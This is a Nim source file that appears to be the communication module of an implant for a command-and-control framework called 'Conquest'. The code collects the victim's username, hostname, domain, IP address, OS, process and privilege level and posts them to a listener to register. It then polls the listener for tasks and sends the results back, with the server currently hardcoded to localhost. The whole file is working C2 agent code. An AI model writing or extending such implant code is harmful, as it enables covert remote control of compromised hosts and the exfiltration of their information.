69 lines
2.1 KiB
Nim
69 lines
2.1 KiB
Nim
import httpclient, json, strformat, asyncdispatch
|
|
|
|
import ./[types, agentinfo]
|
|
|
|
proc register*(listener: string): string =
|
|
|
|
let client = newAsyncHttpClient()
|
|
|
|
# Define headers
|
|
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
|
|
|
# Create registration payload
|
|
let body = %*{
|
|
"username": getUsername(),
|
|
"hostname":getHostname(),
|
|
"domain": getDomain(),
|
|
"ip": getIPv4Address(),
|
|
"os": getOSVersion(),
|
|
"process": getProcessExe(),
|
|
"pid": getProcessId(),
|
|
"elevated": isElevated()
|
|
}
|
|
echo $body
|
|
|
|
try:
|
|
# Register agent to the Conquest server
|
|
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
|
except CatchableError as err:
|
|
echo "[-] [REGISTER FAILED]:", err.msg
|
|
quit(0)
|
|
finally:
|
|
client.close()
|
|
|
|
proc getTasks*(listener: string, agent: string): seq[Task] =
|
|
|
|
let client = newAsyncHttpClient()
|
|
|
|
try:
|
|
# Register agent to the Conquest server
|
|
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
|
|
return parseJson(responseBody).to(seq[Task])
|
|
|
|
except CatchableError as err:
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
|
echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
|
|
finally:
|
|
client.close()
|
|
|
|
return @[]
|
|
|
|
proc postResults*(listener, agent: string, task: Task): bool =
|
|
|
|
let client = newAsyncHttpClient()
|
|
|
|
# Define headers
|
|
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
|
|
|
let taskJson = %task
|
|
|
|
try:
|
|
# Register agent to the Conquest server
|
|
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
|
|
except CatchableError as err:
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
|
echo "[-] [RESULTS FAILED]:", err.msg
|
|
finally:
|
|
client.close()
|
|
|
|
return true |